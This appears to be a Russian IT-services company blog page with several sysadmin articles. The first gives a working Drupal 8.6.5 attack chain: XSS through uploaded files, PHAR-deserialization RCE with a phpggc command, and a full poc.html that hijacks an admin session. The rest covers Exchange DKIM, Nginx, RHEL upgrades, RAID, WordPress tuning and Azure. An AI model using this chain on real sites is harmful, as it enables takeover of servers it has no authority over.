Category: Uncategorized

  • Как взломать сайт друпал, используя новую уязвимость

    Как взломать сайт друпал, используя новую уязвимость

    Сервер возвращает содержимое загруженных файлов без заголовка Content‐Type, а современные браузеры пытаются определить тип содержимого автоматически. Такое поведение и позволит провести XSS‐атаку. Для этого достаточно загрузить код на JS.

    Дальше используем еще одну возможность в комментариях — ссылки.

    Формируем ссылку на загруженный файл с XSS.

    <a href="/sites/default/files/inline‐images/_0" type="text/html"> Click here</a>

    Теперь администратору достаточно перейти по ссылке, и код будет выполнен.

    Успешная XSS‐атака на Drupal 8.6.5

    уязвимость друпала

    Кстати, необязательно использовать загрузку картинок через комментарии. Для тех же целей можно приспособить назначение аватара в профиле пользователя. В этом случае путь будет немного другим: /sites/default/files/ pictures/<ГГГГ‐ММ>/.

    ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ КОД

    Давай теперь посмотрим на другую проблему — PHAR‐десериализацию. В панели администратора есть раздел File system. Там можно задать папку для хранения временных файлов (Temporary directory), а также время их жизни.

    При сохранении данных формы срабатывает функция system_check_directory, которая проверяет существование указанной директории и наличие необходимых прав на нее.

    core/modules/system/system.module
    
    function system_check_directory($form_element, FormStateInterface
    
    $form_state) {
    
    $directory = $form_element['#value']; if (strlen($directory) == 0) {
    
    return $form_element;
    
    }
    $logger = \Drupal::logger('file system'); if (!is_dir($directory) && !drupal_mkdir($directory, NULL, TRUE)) {

    Здесь отсутствует проверка введенных данных и можно указать враппер phar:// и путь до PHAR‐архива с полезной нагрузкой. Любая функция, которая поддерживает работу с потоками, может триггерить уязвимость.

    Для генерации я воспользуюсь классной утилитой phpggc. В ней есть джентльменский набор гаджетов для популярных фреймворков, CMS и различных библиотек. Список постоянно пополняется.

    Drupal использует библиотеку Guzzle, в которой есть известная цепочка гаджетов, ведущая к RCE.

    /drupal-8.6.5/vendor/guzzlehttp/guzzle/CHANGELOG.md
    # CHANGELOG
    ## 6.3.0 ‐ 2017‐06‐22

    Выбираем гаджет Guzzle/RCE1. Здесь ты сразу можешь сгенерировать архив PHAR, указав ключ ‐p и имя архива через ‐o.

    ./phpggc ‐p phar Guzzle/RCE1 system ls ‐o rce.phar

    Далее переименовываем rce.phar в rce.png и загружаем на сервер как картинку. Если теперь указать путь до файла через враппер PHAR в качестве временной папки, топейлоад отработает и код выполнится.

    phar://./sites/default/files/inline‐images/rce.png

    Указанный путь попадает в функцию is_dir без какой‐либо фильтрации

    Успешная эксплуатация RCE в Drupal через PHAR Unserialize

    ОБЪЕДИНЯЕМ АТАКИ В ЦЕПОЧКУ

    Чтобы получить окончательный вектор атаки, нужно объединить XSS и RCE от администратора.

    Сначала загружаем архив PHAR с полезной нагрузкой как PNG и запоминаем путь до него. Далее нам понадобится код на JavaScript, который будет подгружать от админа страницу с настройками и отправлять форму. В ней в качестве file_temporary_path будет указан путь до архива.

    Скрипт должен будет получать ответ от сервера. Чтобы легче его парсить, я поместил результат работы команды ls ‐l в тег <shell>.

    ./phpggc ‐p phar ‐o rce.phar Guzzle/RCE1 system "echo \<shell\>; ls
    
    ‐l; echo \</shell\>"

    poc.html

    <html>
    
    <head></head>
    
    <body>
    
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/ jquery.min.js" type="text/javascript"></script>
    
    <script>
    
    var filepath = 'phar://./sites/default/files/inline‐images/ system.png';
    
    var form_url = '/admin/config/media/file‐system'; var form_id = 'system_file_system_settings';
    
    $.get(form_url, function(data) {
    
    form_build_id = $(data).find('[name="form_build_id"]').
    
    
    val();
    
    var postdata = { 'file_temporary_path': filepath, 'form_id': form_id, 'form_build_id': form_build_id
    
    
    }
    
    $.post(form_url, postdata, function (data) { alert($(data).last().text());
    
    console.log($(data).last().text());
    
    });
    
    });
    
    </script>
    
    </body>
    
    </html>

    Загружаем этот код через первую уязвимость. Теперь остается только заставить администратора перейти по нужной ссылке. Но это уже совсем другая история.

    Что делать? Защищать сайт от уязвимостей, за помощью обращайтесь office@itfb.com.ua

  • Конфигурируем SPF и DKIM на MS Exchange Server

    Конфигурируем SPF и DKIM на MS Exchange Server

    Безусловно, мы не можем обойти стороной огромную аудиторию сисадминов, по своей или не своей воле выстроивших корпоративный ИТ‐ландшафт на базе продуктов всем известной корпорации Microsoft. Поэтому ниже мы рассмотрим настройку SPF‐ и DKIM‐записей для почтового сервера MS Exchange Server. Должен сказать, что все приведенные здесь настройки были мною протестированы на версии MS Exchange Server начиная с 2013, хотя и не исключены какие‐нибудь приколы с наиболее актуальным сегодня билдом MS Exchange Server 2019 (версия 15.2). Так что внимательно читай changelog’и и документацию ко всем используемым утилитам.

    Установка Exchange DKIM Signer

    Перед началом всех действий нам понадобится установить специальную утилиту Exchange DKIM Signer.

    Для этого мы идем на страничку GitHub тулзы DKIM Signer и скачиваем оттуда файл с названием Source Code. Далее распаковываем загруженный ZIP‐архив в любую временную директорию на диске С:. Обязательно от име‐ ни администратора запускаем PowerShell‐скрипт Exchange Management Shell и переходим в распакованную папку.

    Если возникнут ошибки, перед тем как запустить установочный скрипт

    .\install.ps1, зададим политику выполнения PowerShell‐скриптов следующей командой:

    Set‐ExecutionPolicy Unrestricted

    Или еще вариант:

    Set‐ExecutionPolicy RemoteSigned

    Теперь наконец‐то запускаем сам скрипт установки .\install.ps1 и ждем завершения операции.

    Для тех, кто не очень любит работать с консолью, есть вариант графической установки Exchange DKIM Signer. Для этого идем в репозиторий на GitHub и скачиваем там файл с именем Configuration.DkimSigner.zip. Рас‐ паковываем содержимое архива в произвольную папку на C:\ и запускаем из нее исполняемый файл Configuration.DkimSigner.exe, в открывшемся окне выбираем, какую версию будем устанавливать, жмем Install и ждем несколько секунд до завершения операции.dkim exhange

    Конфигурирование агента Exchange DKIM Signer

    Не закрывая предыдущее окно Exchange DKIM Signer, на вкладке Information нажимаем кнопку Configure.

    В открывшемся окне выбираем Exchange DkimSigner и понижаем приоритет до самого низкого, в моем случае это значение 7. Такой приоритет означает, что почтовое сообщение будет обрабатываться этим агентом в последнюю очередь.
    Далее переходим на вкладку DKIM Settings и переключаем алгоритм хеширования на RsaSha256. Активируем опции Body Canonicalization, а Header Canonicalization выставляем в значение Simple. Тут же, не закрывая окно, можно настроить заголовки почтовых сообщений, которые будут подписываться. Однако эта настройка для работы не критична, поэтому оставим все как есть по умолчанию.

    После всех правок не забываем нажать кнопку Save configuration.
    Переходим на вкладку Domain Settings, где удаляем предустановленные домены по умолчанию — example.com и example.org. Нажимаем на кнопку Add, вводим свои значения и заполняем основные поля. Поле Domain Name — это имя нашего почтового домена; например, для адресов типа UserName@company.com это поле примет значение company.com.

    Поле Selector — это произвольная строка, которая добавляется к имени домена. С помощью поля Selector правильно идентифицируется public key в TXT‐записи на DNS‐сервере.

    Если взять установленное нами значение из поля Selector и посмотреть  на Email Headers отправляемых с сервера писем, то мы увидим тег s=, который имеет значение из поля Selector. Тег d= имеет значение, указывающее на наш почтовый домен. Таким образом сервер получателя понимает, какой именно public key на нашем DNS‐сервере нужно проверять.

    На следующем шаге генерируем ключевую пару «открытый — закрытый ключ» (public key и private key). Private key будет храниться строго на сервере, и с его помощью будет подписываться вся исходящая почта. Нажимаем кнопку Generate Key и сохраняем *.xml‐файл в папку keys.

    После всех этих действий на выходе должно получиться три файла в папке keys:

    • mydomain.net.xml;
    • mydomain.net.xml.pub — файл содержит public key, в будущем мы разместим его в TXT‐записи на нашем внешнем DNS‐сервере;
    • mydomain.net.xml.pem — файл содержит private key.

    После сохранения всех XML‐файлов не забываем нажать Save Domain, иначе изменения не сохранятся.

    Далее Exchange DKIM Signer предлагает нам создать TXT‐запись на внешнем DNS‐сервере, который обслуживает наш почтовый домен.

    Проверка работоспособности почтового сервера после кон- фигурирования Exchange DKIM Signer

    Теперь мы отправим тестовые письма на известные почтовые домены, такие, к примеру, как gmail.com, и посмотрим, как они доходят. Можно воспользоваться  сервисом  MxToolBox,  введя  IP‐адрес  нашего  почтовика  и проверив таким образом корректность DKIM‐ и SPF‐записей.

    ЗАКЛЮЧЕНИЕ

    Сегодня мы рассмотрели доступный каждому админу простой и не требующий заморочек набор штатных средств, помогающих усилить безопасность почтовых серверов под *NIX и серверы Microsoft. Грамотно сконфигурированные DKIM‐, SPF‐ и DMARC‐записи позволят по максимуму снизить поток спама, фейковых рассылок, писем с малварью и в целом хоть как‐то  сократить   нелегитимный   трафик   между   почтовыми   серверами   в интернете. Конечно, предложенное решение — это не панацея от всех бед, но это еще один дополнительный барьер на пути злоумышленников, притом еще и бесплатный.

    Если нужна помощь в обеспечении безопасности, обращайтесь office@itfb.com.ua

  • SQL инъекции. Как вычислить и обезвредить

    SQL инъекции. Как вычислить и обезвредить

    Существует огромное количество не только вредоносных программ, но и методов взлома. SQL инъекция – это один из способов взлома сайтов. Отсутствие защиты от этого вида атаки делает сайт уязвимым и позволяет злоумышленникам делать все, что угодно.

    (more…)

  • Настройка Nginx для нескольких сайтов – о чем нужно знать заранее

    Настройка Nginx для нескольких сайтов – о чем нужно знать заранее

    Nginx – веб-сервер, который использует непотоковую архитектуру, управляемую событиями. Этому серверу также под силу балансировать нагрузки, кэшировать http и применять его для обратного прокси, оптимизировать работу ресурса сервера. И если настройка Nginx для сайта не вызывает особых трудностей, то для работы с несколькими ресурсами нужно выполнить незначительные настройки рабочих параметров.

    Настройка Nginx для нескольких сайтов

    Зачастую пользователям приходится сталкиваться с проблемой, когда по одному домену открывается другой сайт. Причиной тому является конфигурация по умолчанию, которая рассчитана на конкретный сайт. Он и будет открываться в любых доменах, где прописанной конфигурации попросту нет. Во избежание такой проблемы необходимо в директиве серверного имени прописать все возможные варианты доменов сайта. Второй путь устранения проблемы – проставление редиректов в основном адресе.

    Настройка Nginx: несколько доменов и поддоменов

    Для настройки блоков сервера с целью размещения нескольких доменов и поддоменов на 1 IP адресе необходимо выполнить следующие действия.
    После установки Nginx нужно сделать резервное копирование конфигурации сервера и создать блок для 1 веб-сайта.
    После этого создается новая конфигурация для 1 домена.
    Теперь в основном конфигурационном файле /etc/ngnix.conf добавляется раздел. Он размещается в конце блока http.
    Для первой веб-страницы создается новый конфигурационный файл. Выглядит он таким образом:

    server {
    listen 80;
    server_name domain1.ru;
    root /var/www/html/domain1.ru/;
    index index.html index.htm index.php;
    location / {
    try_files $uri $uri/ =404;
    }
    # add other directives here;
    }

    После этого, для активации изменений, nginx перезагружается или перечитывается его конфигурация командой service nginx reload.
    После вступления в силу внесенных изменений требуется создать каталоги для каждого сайта, соответствующие конфигурации.
    Доступ к файлам предоставляется пользователю от которого запущен Nginx. Это может быть как www-data, так и nginx.
    Такие действия выполняются и для остальных веб-сайтов.
    Как видим, Nginx настройка поддоменов и доменов – довольно простая задача. Но есть один важный нюанс – для каждого домена и поддомена нужно обязательно прописывать свой блок конфигурации.

    Настройка Nginx для Joomla и Битрикс

    Чтобы веб-сервер качественно работал с Джумла, необходимо добавить правила для перезаписи. В редких случаях Джумла редиректит каталоги формата /index.php/poll… В связи с их отсутствием в системе файлов веб-сервера выскакивает ошибка 404. Чтобы не допустить подобной ситуации, необходимо дописать в правиле конфигураций Nginx следующий текст:

    location / {if ( !-e $request_filename ) {rewrite (/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$ /index.php last;break;}

    Правильная настройка Nginx для Битрикс – это залог его максимально производительной работы. Поскольку сфера IT технологий не стоит на месте, то такой инструмент в бизнес-деятельности довольно актуален и востребован. Также это обусловлено тем, что она работает в роли прокси для апача. Отдельные настройки конфигурации требует модуль «Пуш енд Пул», и то при условии, что он используется. Место расположения конфигурации здесь /etc/nginx/bx/conf/push-im_settings.conf.
    Если у вас возникли трудности в ходе оптимизации работы собственного веб-ресурса, то вы всегда можете заказать такие услуги у специалистов нашей компании здесь.
    Мы гарантируем скорость выполнения заказа, достижение желаемого результата и демократичные цены.

  • Как перейти с RHEL 7 на RHEL 8

    Как перейти с RHEL 7 на RHEL 8

    Red Hat объявила о выпуске Red Hat Enterprise Linux 8.0 , который поставляется с GNOME 3.28 в качестве среды рабочего стола по умолчанию и работает на Wayland .

    В этой статье описываются инструкции по обновлению Red Hat Enterprise Linux 7 до Red Hat Enterprise Linux 8 с помощью утилиты Leapp .

    Требования

    Обновление на месте до RHEL 8 в настоящее время поддерживается только в системах, отвечающих следующим требованиям:

    • RHEL 7.6 установлен
    • Вариант сервера
    • Архитектура Intel 64
    • Не менее 100 МБ свободного места на загрузочном разделе (смонтирован в / boot).

    Подготовка RHEL 7 к обновлению

    1. Убедитесь, что вы используете версию RHEL 7.6. Если вы используете версию RHEL старше RHEL 7.6 , вам необходимо обновить систему RHEL до версии RHEL 7.6, используя следующую команду yum .

    yum update

    обновление red hat

    Обновление системы RHEL 7

    Примечание . Убедитесь, что ваша система RHEL 7 была успешно зарегистрирована с помощью диспетчера подписок Red Hat, чтобы включить системные репозитории и выполнить полное обновление системы.

    2. Убедитесь, что к вашей системе RHEL 7 подключена подписка Red Hat Enterprise Linux Server . Если нет, выполните следующие команды, чтобы автоматически назначить подписку системе и проверить подписку.

    # subscription-manager attach --auto
    # subscription-manager list --installed

    Проверьте серверную подписку RHEL

    3. Теперь установите версию RHEL 7.6 в качестве начальной точки для обновления, используя следующую команду.

    # subscription-manager release --set 7.6

    обновление ред хат до 8

    Установить обновление RHEL Release

    4. Если вы использовали подключаемый модуль yum-plugin-versionlock для блокировки пакетов для определенной версии , обязательно снимите блокировку, выполнив следующую команду.

     # yum versionlock clear
    

    5. Обновите все пакеты программного обеспечения до последней версии и перезагрузите систему.

    # yum update
    # reboot

    6. После загрузки системы обязательно включите репозиторий Extras для зависимостей пакетов программного обеспечения.

    # subscription-manager repos --enable rhel-7-server-extras-rpms

    Включить репозиторий Extras на RHEL

    7. Установите утилиту Leapp .

     # yum install leapp
    

    Установите Leapp Tool в RHEL

    8. Теперь загрузите дополнительные необходимые файлы данных, которые требуются утилите Leapp для успешного обновления с RHEL 7 до RHEL 8, и поместите их в /etc/leapp/files/ .

    # cd / etc / leapp / files / 
    # wget https://access.redhat.com/sites/default/files/attachments/leapp-data3.tar.gz
    # tar -xf leapp-data3.tar.gz 
    # rm leapp-data3.tar.gz
    

    Скачать файлы для Leapp

    9. Перед выполнением обновления с помощью этой статьи обязательно сделайте полную резервную копию системы RHEL 7.6: выполните резервное копирование и восстановление системы RHEL с помощью команд dump / restore .

    Если обновление завершится неудачно, вы сможете вернуть свою систему в состояние перед обновлением, если будете следовать стандартным инструкциям по резервному копированию.

    Обновление с 7 по 8.

    10. Теперь запустите процесс обновления системы RHEL 7 с помощью следующей команды.

     # leapp upgrade
    

    Leapp RHEL Обновление

    После запуска процесса обновления утилита Leapp собирает данные о вашей системе, проверяет возможность обновления и создает отчет перед обновлением в файле /var/log/leapp/leapp-report.txt .

    Если система является обновляемой, Leapp загружает необходимые данные и создает транзакцию RPM для обновления.

    Если система не может быть обновлена, Leapp закрывает операцию обновления и создает запись, объясняющую проблему и решение, в файле /var/log/leapp/leapp-report.txt .

    11. После завершения обновлений перезагрузите систему вручную.

     #reboot
    

    На этом этапе система загружается в исходный образ RAM-диска на основе RHEL 8, initramfs. Leapp обновляет все пакеты программного обеспечения и автоматически перезагружается в систему RHEL 8.

    Процесс обновления RHEL

    12. Теперь войдите в систему RHEL 8 и измените режим SELinux на принудительный .

     # setenforce 1
    

    Установите SELinux в Enforcing в RHEL 8

    13. Включите брандмауэр.

    # systemctl start firewalld
    # systemctl enable firewalld
    

    Проверка обновления RHEL 8

    14. После завершения обновления убедитесь, что текущей версией ОС является Red Hat Enterprise Linux 8 .

     # cat / etc / redhat-release
    
    Red Hat Enterprise Linux выпуск 8.0 (Ootpa)
    

    15. Проверьте версию ядра ОС Red Hat Enterprise Linux 8 .

     # uname -r
    
    4.18.0-80.el8.x86_64
    

    16. Убедитесь, что установлен правильный Red Hat Enterprise Linux 8 .

    # subscription-manager list --installed

    Проверьте установленную подписку RHEL

    17. При желании задайте имя хоста в Red Hat Enterprise Linux 8 с помощью команды hostnamectl .

    # hostnamectl set-hostname itfb-server
    # hostnamectl
    

    18. Наконец, убедитесь, что сетевые службы работают, подключившись к серверу Red Hat Enterprise Linux 8 с помощью SSH.

    # ssh root@192.168.0.101
    # hostnamectl
    

    Нужна помощь в обновлении и сопровождении любой ОС Unix/Linux, обращайтесь office@itfb.com.ua

  • Замена диска на сервере mdadm RAID1

    В данной статье приведена инструкция по замена диска на сервере mdadm RAID1.

    Мы не рекомендуем производить любые манипуляции с рейдом не опытным пользователям (возможна потеря всех данных). Если Вам нужна помощь обращайтесь office@itfb.com.ua

    Исходные данные: есть 2 диска sda sdb(поврежденный диск)

    Проверяем состояние рейда

    # cat /proc/mdstat
    
    Personalities : [raid1]
    
    md0 : active raid1 sdb1[1] sda1[2]
    
          511936 blocks super 1.0 [2/2] [UU]
    
    md1 : active raid1 sdb2[1] sda2[2]
    
          976117568 blocks super 1.1 [2/2] [UU]
    
          bitmap: 6/8 pages [24KB], 65536KB chunk
    
    unused devices: <none>
    1. Маркируем диск sdb как поврежденный в двух RAID массивах
    # mdadm --manage /dev/md0 --fail /dev/sdb1
    
    mdadm: set /dev/sdb1 faulty in /dev/md0
    
    # mdadm --manage /dev/md1 --fail /dev/sdb2
    
    mdadm: set /dev/sdb2 faulty in /dev/md1

    Проверяем еще раз статус RAID массивов смотрим, действительно диск отмечен как зафейленый (F)

    # cat /proc/mdstat
    
    Personalities : [raid1]
    
    md0 : active raid1 sdb1[1](F) sda1[2]
    
          511936 blocks super 1.0 [2/1] [U_]
    
    md1 : active raid1 sdb2[1](F) sda2[2]
    
          976117568 blocks super 1.1 [2/1] [U_]
    
          bitmap: 7/8 pages [28KB], 65536KB chunk
    
    
    unused devices: <none>
    1. Отлично, теперь удаляем диск из RAID массивов
    # mdadm --manage /dev/md0 --remove /dev/sdb1
    
    mdadm: hot removed /dev/sdb1 from /dev/md0
    
    # mdadm --manage /dev/md1 --remove /dev/sdb2
    
    mdadm: hot removed /dev/sdb2 from /dev/md1

    Проверяем статус RAID масивов

    cat /proc/mdstat
    
    Personalities : [raid1]
    
    md0 : active raid1 sda1[2]
    
          511936 blocks super 1.0 [2/1] [U_]
    
    md1 : active raid1 sda2[2]
    
          976117568 blocks super 1.1 [2/1] [U_]
    
          bitmap: 8/8 pages [32KB], 65536KB chunk
    
    
    unused devices: <none>

    Хорошая новость мы удалили зафейленый диск!

    1. Теперь ставим новый диск в сервер и размечаем его как sda
    sfdisk -d /dev/sda | sfdisk /dev/sdb
    
    Checking that no-one is using this disk right now ...
    
    OK
    
    Disk /dev/sdb: 243201 cylinders, 255 heads, 63 sectors/track
    
     /dev/sdb: unrecognized partition table type
    
    Old situation:
    
    No partitions found
    
    New situation:
    
    Units = sectors of 512 bytes, counting from 0
    
    
       Device Boot    Start       End   #sectors  Id  System
    
    /dev/sdb1   *      2048   1026047    1024000  fd  Linux raid autodetect
    
    /dev/sdb2       1026048 1953523711 1952497664  fd  Linux raid autodetect
    
    /dev/sdb3             0         -          0   0  Empty
    
    /dev/sdb4             0         -          0   0  Empty
    
    Warning: partition 1 does not end at a cylinder boundary
    
    
    sfdisk: I don't like these partitions - nothing changed.
    
    (If you really want this, use the --force option.)

    В моем случае диск sda на 1TB, a sdb на 2TB потому добавляем ключ –force

    sfdisk -d /dev/sda | sfdisk /dev/sdb --force
    
    Checking that no-one is using this disk right now ...
    
    OK
    
    
    
    
    Disk /dev/sdb: 243201 cylinders, 255 heads, 63 sectors/track
    
     /dev/sdb: unrecognized partition table type
    
    Old situation:
    
    No partitions found
    
    New situation:
    
    Units = sectors of 512 bytes, counting from 0
    
    
       Device Boot    Start       End   #sectors  Id  System
    
    /dev/sdb1   *      2048   1026047    1024000  fd  Linux raid autodetect
    
    /dev/sdb2       1026048 1953523711 1952497664  fd  Linux raid autodetect
    
    /dev/sdb3             0         -          0   0  Empty
    
    /dev/sdb4             0         -          0   0  Empty
    
    Warning: partition 1 does not end at a cylinder boundary
    
    Successfully wrote the new partition table
    
    
    Re-reading the partition table ...
    
    
    If you created or changed a DOS partition, /dev/foo7, say, then use dd(1)
    
    to zero the first 512 bytes:  dd if=/dev/zero of=/dev/foo7 bs=512 count=1
    
    (See fdisk(8).)

    Проверяем, все прошло хорошо и диск разметился как нам нужно

    # fdisk -l
    
    Disk /dev/sdb: 2000.4 GB, 2000398934016 bytes
    
    255 heads, 63 sectors/track, 243201 cylinders
    
    Units = cylinders of 16065 * 512 = 8225280 bytes
    
    Sector size (logical/physical): 512 bytes / 512 bytes
    
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    Disk identifier: 0x00000000
    
       Device Boot      Start         End      Blocks   Id  System
    
    /dev/sdb1   *           1          64      512000   fd  Linux raid autodetect
    
    Partition 1 does not end on cylinder boundary.
    
    /dev/sdb2              64      121602   976248832   fd  Linux raid autodetect
    
    
    Disk /dev/sda: 1000.2 GB, 1000204886016 bytes
    
    255 heads, 63 sectors/track, 121601 cylinders
    
    Units = cylinders of 16065 * 512 = 8225280 bytes
    
    Sector size (logical/physical): 512 bytes / 512 bytes
    
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    Disk identifier: 0x00000000
    
       Device Boot      Start         End      Blocks   Id  System
    
    /dev/sda1   *           1          64      512000   fd  Linux raid autodetect
    
    Partition 1 does not end on cylinder boundary.
    
    /dev/sda2              64      121602   976248832   fd  Linux raid autodetect
    
    
    Disk /dev/md1: 999.5 GB, 999544389632 bytes
    
    2 heads, 4 sectors/track, 244029392 cylinders
    
    Units = cylinders of 8 * 512 = 4096 bytes
    
    Sector size (logical/physical): 512 bytes / 512 bytes
    
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    Disk identifier: 0x00000000
    
    Disk /dev/mapper/vg_jcs-lv_root: 257.7 GB, 257698037760 bytes
    
    255 heads, 63 sectors/track, 31330 cylinders
    
    Units = cylinders of 16065 * 512 = 8225280 bytes
    
    Sector size (logical/physical): 512 bytes / 512 bytes
    
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    Disk identifier: 0x00000000
    
    Disk /dev/mapper/vg_jcs-lv_swap: 4294 MB, 4294967296 bytes
    
    255 heads, 63 sectors/track, 522 cylinders
    
    Units = cylinders of 16065 * 512 = 8225280 bytes
    
    Sector size (logical/physical): 512 bytes / 512 bytes
    
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    Disk identifier: 0x00000000
    
    Disk /dev/md0: 524 MB, 524222464 bytes
    
    2 heads, 4 sectors/track, 127984 cylinders
    
    Units = cylinders of 8 * 512 = 4096 bytes
    
    Sector size (logical/physical): 512 bytes / 512 bytes
    
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    Disk identifier: 0x00000000
    
    Disk /dev/mapper/vg_jcs-lv_data: 737.5 GB, 737547386880 bytes
    
    255 heads, 63 sectors/track, 89668 cylinders
    
    Units = cylinders of 16065 * 512 = 8225280 bytes
    
    Sector size (logical/physical): 512 bytes / 512 bytes
    
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    Disk identifier: 0x00000000
    1. Отлично диск sdb мы разметили

    Теперь добавляем диск sdb в RAID массивы

    # mdadm --manage /dev/md0 --add /dev/sdb1
    
    mdadm: added /dev/sdb1
    
    [root@jcs ~]# mdadm --manage /dev/md1 --add /dev/sdb2
    
    mdadm: added /dev/sdb2

    Выводим статус RAID масивов

    # cat /proc/mdstat
    
    Personalities : [raid1]
    
    md0 : active raid1 sdb1[3] sda1[2]
    
          511936 blocks super 1.0 [2/2] [UU]
    
    md1 : active raid1 sdb2[3] sda2[2]
    
          976117568 blocks super 1.1 [2/1] [U_]
    
          [>....................]  recovery =  0.1% (1575808/976117568) finish=195.8min speed=82937K/sec
    
          bitmap: 8/8 pages [32KB], 65536KB chunk
    
    unused devices: <none>
    1. Теперь ждем пока RAID пересоберется
  • Как ускорить сайт на WordPress в 3-5 раз за счет быстрой работы сервера?

    Как ускорить сайт на WordPress в 3-5 раз за счет быстрой работы сервера?

    Оперативность работы сайта на WordPress прямо сказывается на популярности ресурса. Даже если ваш контент идеален, но время загрузки страниц сайта сродни скорости черепахи, посетители будут уходить. В данной статье мы оптимизируем сайт  на WordPress, что позволит ему ускориться в несколько раз. Также не стоит забывать об отказоустойчивости сайта . Оптимизация частично решает и эту проблему.

    Тест текущей скорости

             Вначале стоит замерить текущую скорость загрузки вашего сайта. Используем для этого любой из следующих инструментов:

    1. Pingdom (https://tools.pingdom.com/) – отличный ресурс, позволяющий оценить скорость загрузки каждого элемента страницы. Результат выводится в виде диаграммы – наглядно и удобно.

    1. YSlow (http://yslow.org/) отличный плагин для браузера Firefox. YSlow встраивается в еще одно расширение, предназначенное для разработчиков – Firebug (https://getfirebug.com/).

    Также советуем определить количество запросов вместе со временем их выполнения. Для этого вставляем следующий код:

    <?php echo get_num_queries(); ?> queries in <?php timer_stop(1); ?> seconds.

    Вебхостинг

          Хостинг  имеет прямое влияние на скорость функционирования блога (сайта). Для примерной оценки серверной нагрузки следует залогиниться через ssh, после чего в консоли ввести команду top.

             Принцип прост – больше ресурсов, лучше производительность.

    Также важно реальное местоположение сервера. Не рекомендуем покупать хостинг из России, если ваша целевая аудитория американцы или австралийцы.

    Настраиваем сервер

             Если вы можете спланировать серверную нагрузку, лучше заблаговременно убедиться, что она будет соответствовать его мощности (процессор, объём оперативной памяти). Обязательно обновите Apache (http://httpd.apache.org/download.cgi) и используйте прокси сервер, например, nginx

    1. Лучше отключить сервисы, которые не используете. Так можно увеличить объем свободной оперативной памяти. Для этого:
    •         удаляем ClamD.
    •         удаляем Mailman, если почта вам не нужна.
    •         настраиваем SpamD на работу только с одним дочерним процессом.
    1. Оптимизируем кэш MySQL Query. Добавляем в файл my.cnf следующее:
      query_cache_type = 1

      query_cache_limit = 2M

      query_cache_size = 20M

      и перезапускаем сервис MySQL.

    3. Cache компилятора. Он улучшает производительность серверных скриптов, которые уже откомпилированы, с помощью кэширования. Таким образом можно уменьшить timeout выполнения скриптов на PHP. Используем либо Xcache, либо Eaccelerator.

    4.Увеличиваем максимальное количество Apache-соединений через httpd.conf. То есть за один раз сервер сможет обработать больше подключений. Изменяйте данный параметр осторожно, чтобы не замедлить работу, исчерпав объем оперативки. К примеру, код max_connections = 120 позволит установить 120 коннектов.  Для применения новых настроек нужен перезапуск сервиса Apache.    

    Работаем над оптимизацией графики и кода

    1.Отключите hotlinks. Если сервер используется, чтобы хранить изображения, его свободные ресурсы уменьшаются. Иногда другие вебмастера будут пользоваться вашими изображениями, применяя hotlinks на собственных серверах, что создаст некоторую нагрузку на ваш сервер.

    Чтобы отключить hotlinks, нужно добавить в файл .htaccess следующие строки (вместо example.com – ваш домен)

    <IfModule mod_rewrite.c>

    RewriteEngine on

    RewriteCond %{HTTP_REFERER} !^$

    RewriteCond %{HTTP_REFERER} !^http://(www\.)?example\.com/.*$ [NC]

    RewriteRule .*\.(gif|jpg|png|ico)$ – [F,L]

    </ifModule>

    2.Используйте внешний хостинг для хранения изображений

    3.Сожмите JS код, используя JS Compressor (http://javascriptcompressor.com/).

    4.Вынесите JS код в конец страницы или заключите его в iFrame. Бывает, что долго загружается сам JS, а такой финт ускорит загрузку вашего сайта.

    5.Примените кэширование в браузере. Это позволит уменьшить нагрузку на сервер. Для этого вставляем в файл .htaccess следующие строки:

    FileETag MTime Size

    <ifmodule mod_expires.c>

    <filesmatch “\.(jpg|gif|png|css|js)$”>

    ExpiresActive on

    ExpiresDefault “access plus 1 year”

    </filesmatch>

    </ifmodule>

    6. Сожмите static data. Это позволит разгрузить как канал, так и загружаемые данные. Используйте следующие строки для .htaccess:

    AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/javascript text/css application/x-javascript

    BrowserMatch ^Mozilla/4 gzip-only-text/html

    BrowserMatch ^Mozilla/4.0[678] no-gzip

    BrowserMatch bMSIE !no-gzip !gzip-only-text/html

    7. Для static files применяйте CDN (Content Delivery Network).

    Если у Вас не получается самому оптимизировать сайт на Вордпрес, вы можете заказать эту услугу у профессионалов! Наши IT-специалисты  в сжатые сроки помогут вам решить данный вопрос и качественно настроят ваш сервер. Результаты приятно удивят вас и посетителей вашего сайта!

  • Шаблоны Azure QuickStart

    Шаблоны Azure QuickStart

    Компания Microsoft облегчает процесс подготовки «облачного» хранилища для компаний с помощью шаблонов Azure QuickStart.

    Из портала Microsoft Azure довольно просто организовать хранилище в «облаке». Однако подготовка хранилища обычным способом — не всегда лучший вариант. Прежде всего, подготовка вручную не отличается высокой масштабируемостью. Одно дело организовать хранилище и совсем другое — повторить процедуру сто раз. Другая проблема
    с ручной подготовкой «облачного» хранилища в том, что человек может допускать ошибки. К счастью, разработчики Microsoft придумали, как упростить процесс подготовки хранилища с использованием шаблонов Azure Quickstart.

    Главное достоинство шаблонов Azure Quickstart в том, что область их применения гораздо шире, чем просто подготовка хранилища. Имеются сотни шаблонов Azure Quickstart для любых целей, от создания стандартной учетной записи хранилища до развертывания Azure SQL Server с заранее настроенной записью данных аудита в хранилище BLOB-объектов. Шаблоны Azure Quickstart можно найти по адресу: azure.microsoft.com/en-us/resources/templates/?resourceType=Microsoft. Они выложены на сайте Azure. Microsoft.com, но большинство шаблонов разработано не компанией Microsoft, а индивидуальными пользователями. Примеры доступных шаблонов показаны на экране 1.

    Щелкнув мышью на имени шаблона, вы увидите экран, где содержится ряд полезных сведений (экран 2). Здесь вы видите имя шаблона, а также имя его автора и краткое описание действий, совершаемых шаблоном. Однако самое важное на этой странице — список Parameters («Параметры»).

